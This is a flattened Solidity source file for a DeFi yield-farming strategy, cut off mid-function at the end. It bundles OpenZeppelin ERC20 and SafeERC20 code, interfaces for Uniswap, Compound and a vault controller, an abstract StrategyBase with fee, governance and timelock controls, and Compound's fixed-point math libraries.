ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/interface/IVault.sol pragma solidity ^0.6.2; interface IVault is IERC20 { function balance() external view returns (uint256); function balanceOfToken() external view returns (uint256); function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; } // File: contracts/interface/IStakingRewards.sol pragma solidity ^0.6.2; interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } // File: contracts/interface/UniswapRouterV2.sol pragma solidity ^0.6.2; interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } // File: contracts/interface/IController.sol pragma solidity ^0.6.0; interface IController { function vaults(address) external view returns (address); function comAddr() external view returns (address); function devAddr() external view returns (address); function burnAddr() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function freeWithdraw(address, uint256) external; function earn(address, uint256) external; } // File: contracts/strategies/StrategyBase.sol pragma solidity ^0.6.7; // Strategy Contract Basics abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Fees 5% in total // - 1.5% devFundFee for development fund // - 2% comFundFee for community fund // - 1.5% used to burn/repurchase btfs uint256 public devFundFee = 150; uint256 public constant devFundMax = 10000; uint256 public comFundFee = 200; uint256 public constant comFundMax = 10000; uint256 public burnFee = 150; uint256 public constant burnMax = 10000; // Withdrawal fee 0.5% uint256 public withdrawalFee = 0; uint256 public constant withdrawalMax = 10000; // Tokens address public token; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public btf; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor( address _btf, address _token, address _governance, address _strategist, address _controller, address _timelock ) public { require(_btf != address(0)); require(_token != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); btf = _btf; token = _token; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent { require( msg.sender == tx.origin || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(token).balanceOf(address(this)); } function balanceOfPool() public virtual view returns (uint256); function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external virtual pure returns (string memory); // **** Setters **** // function setBtf(address _btf) public { require(msg.sender == governance, "!governance"); btf = _btf; } function setDevFundFee(uint256 _devFundFee) external { require(msg.sender == timelock, "!timelock"); devFundFee = _devFundFee; } function setComFundFee(uint256 _comFundFee) external { require(msg.sender == timelock, "!timelock"); comFundFee = _comFundFee; } function setBurnFee(uint256 _burnFee) external { require(msg.sender == timelock, "!timelock"); burnFee = _burnFee; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == timelock, "!timelock"); withdrawalFee = _withdrawalFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } // **** State mutations **** // function deposit() public virtual; // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(token != address(_asset), "token"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Contoller only function for withdrawing for free // This is used to swap between vaults function freeWithdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(token).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } IERC20(token).safeTransfer(msg.sender, _amount); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(token).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } if (withdrawalFee > 0) { uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(token).safeTransfer(IController(controller).comAddr(), _fee); _amount = _amount.sub(_fee); } address _vault = IController(controller).vaults(address(token)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(token).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(token).balanceOf(address(this)); address _vault = IController(controller).vaults(address(token)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(token).safeTransfer(_vault, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); function harvest() public virtual; // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); // Swap with uniswap IERC20(_from).safeApprove(univ2Router2, 0); IERC20(_from).safeApprove(univ2Router2, _amount); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } } // File: contracts/interface/Compound.sol pragma solidity ^0.6.0; interface ICToken { function totalSupply() external view returns (uint256); function totalBorrows() external returns (uint256); function borrowIndex() external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); } interface ICEther { function mint() external payable; /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint256 redeemTokens) external returns (uint256); /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint256 redeemAmount) external returns (uint256); /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint256 borrowAmount) external returns (uint256); /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable; /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable; /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } interface IComptroller { function compAccrued(address) external view returns (uint256); function compSupplierIndex(address, address) external view returns (uint256); function compBorrowerIndex(address, address) external view returns (uint256); function compSpeeds(address) external view returns (uint256); function compBorrowState(address) external view returns (uint224, uint32); function compSupplyState(address) external view returns (uint224, uint32); /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); // Claim all the COMP accrued by holder in all markets function claimComp(address holder) external; // Claim all the COMP accrued by holder in specific markets function claimComp(address holder, address[] calldata cTokens) external; // Claim all the COMP accrued by specific holders in specific markets for their supplies and/or borrows function claimComp( address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers ) external; function markets(address cTokenAddress) external view returns (bool, uint256); } interface ICompoundLens { function getCompBalanceMetadataExt( address comp, address comptroller, address account ) external returns ( uint256 balance, uint256 votes, address delegate, uint256 allocated ); } // File: contracts/lib/CarefulMath.sol pragma solidity ^0.6.0; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } // File: contracts/lib/Exponential.sol pragma solidity ^0.6.0; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: 